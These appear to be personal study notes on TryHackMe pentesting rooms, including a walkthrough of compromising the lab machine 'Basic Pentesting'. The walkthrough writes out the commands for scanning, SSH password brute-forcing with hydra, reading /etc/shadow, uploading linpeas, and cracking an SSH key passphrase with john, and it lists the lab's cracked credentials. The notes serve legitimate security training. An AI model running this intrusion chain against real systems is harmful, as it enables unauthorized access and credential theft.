Penetration Testing

The Hacker Methodology

Summary: the steps in doing a pentesting

Room: https://tryhackme.com/r/room/hackermethodology

• recon tools

  • peoplefinder.com

  • who.is -> check IP

  • sublist3r -> find subdomains

  • hunter.io -> search emails

  • builtwith.com and wappalyzer -> check a site was built with what

• enum and scan tools

  • dirbuster

  • enum4linux

  • metasploit

  • burpsuite

• covering tracks not needed for professionals; stop immidiately after priv. escalation

• sample of pentesting report: link

Basic Pentesting

Summary: real implementation of The Hacker Methodology

Room: https://tryhackme.com/r/room/basicpentestingjt

• deploy the machine, connect to target using openVPN

1. scanning

• mkdir nmap

• nmap -sC -sV -oN nmap/initial [TARGET IP]

  • port 22 open -> running ssh

  • port 80 open -> running a website

  • port 139 and 445 -> running SMB "Samba" (server message block)

• check the website (port 80), use curl or browser, get some txt files

  • jan has weak password

  • server is using "struts REST 2.5.12"

2. enumeration

• find hidden directory:

  • gobuster -w /usr/share/wordlists/rockyou.txt -u http://[TARGET IP]/

  • found /development

• smb enumeration

  • enum4linux -a [TARGET IP] | tee enum4linux.log

  • 'a' means all, tee to both print to terminal/stdout && the log file

  • found username jan and kay

• password brute-forcing (SSH)

  • hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://[TARGET IP]

  • found jan's password armando

3. accessing jan ssh

• try obvious things (find priv. esc vector)

  • do ls -la

  • cat /etc/passwd & /etc/shadow

  • access kay's home dir

  • etc

• automatically find vector

  • use linpeas, send it to remote server: scp linpeas.sh jan@[TARGET IP]:/dev/shm
  • shm is "shared memory"

  • run inside remote server with sh linpeas.sh | tee linlog.txt

  • found vector: kay has her ssh private key open/readable

4. accessing kay ssh

• using kay's key

  • store/copy both kay's keys locally

  • access kay's ssh with ssh -i kay_id_rsa kay@[TARGET IP]

  • key is password protected -> use johntheripper ssh2john

  • run python3 /path/to/johntheripper/john/run/ssh2john.py kay_id_rsa > key_hash.txt -> get password hash

  • run /path/to/johntheripper/john/run/john key_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt -> get password

  • found password beeswax

• rerun ssh -i kay_id_rsa kay@[TARGET IP], enter passphrase

  • logged in as kay

  • cat pass.bak

  • found kay's password heresareallystrongpasswordthatfollowsthepasswordpolicy$$

  • we can use this password to sudo